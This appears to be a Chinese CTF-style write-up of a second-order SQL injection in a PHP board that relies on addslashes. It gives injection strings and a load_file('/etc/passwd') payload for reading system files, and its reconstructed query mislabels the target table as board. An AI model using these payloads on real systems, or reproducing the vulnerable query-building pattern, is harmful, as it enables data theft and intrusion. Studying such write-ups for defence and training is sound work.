思考以下例子
<?php
// 包含数据库连接文件
include "mysql.php";
// 启动会话
session_start();
// 检查用户是否已登录,如果未登录,则重定向到登录页面
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
// 检查是否通过GET请求传递了'do'参数
if(isset($_GET['do'])){
// 根据'do'参数的不同值执行不同的操作
switch ($_GET['do']) {
case 'write':
// 获取POST请求中的数据,并对其进行转义以防止SQL注入
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
// 构建SQL插入语句,将数据插入到board表中
$sql = "INSERT INTO board
SET category = '$category',
title = '$title',
content = '$content'";
// 执行SQL查询
$result = mysql_query($sql);
// 操作完成后重定向到首页
header("Location: ./index.php");
break;
case 'comment':
// 获取POST请求中的bo_id和content,并对其进行转义
$bo_id = addslashes($_POST['bo_id']);
$content = addslashes($_POST['content']);
// 查询board表以获取对应bo_id的category
$sql = "SELECT category FROM board WHERE id='$bo_id'";
$result = mysql_query($sql);
// 检查是否查询到结果
$num = mysql_num_rows($result);
if($num > 0){
// 取出查询结果中的category
$category = mysql_fetch_array($result)['category'];
// 构建SQL插入语句,将评论数据插入到comment表中
$sql = "INSERT INTO comment
SET category = '$category',
content = '$content',
bo_id = '$bo_id'";
// 执行SQL查询
$result = mysql_query($sql);
}
// 操作完成后重定向到评论页面
header("Location: ./comment.php?id=$bo_id");
break;
default:
// 如果'do'参数的值不匹配任何case,重定向到首页
header("Location: ./index.php");
}
} else {
// 如果没有提供'do'参数,重定向到首页
header("Location: ./index.php");
}
?>
其虽然没有在当时返回sql查询结果,但是在评论页面显示出来了
addslashes仅仅对字符串中的单引号、双引号、反斜杠和 NULL 字符进行转义
所以我们可以控制变量构造
',content = 'youwin',/*
来形成
$sql = "INSERT INTO board
SET category = '',content = 'youwin',/*', title = '$title', content = '$content'";
当再次评论,就会直接从把原来的poc不经过转义的拼接
$category = mysql_fetch_array($result)['category'];
修改评论内容为*/#
来形成闭合并注释'";
"INSERT INTO board
SET category = '',content = 'youwin',/*', title = '$title', content = '*/#'";
此时会拼接为合法语句
再次构造任意文件读取poc,
"INSERT INTO board
SET category = '',content=(select(load_file("/etc/passwd"))),/*', title = '$title', content = '*/#'";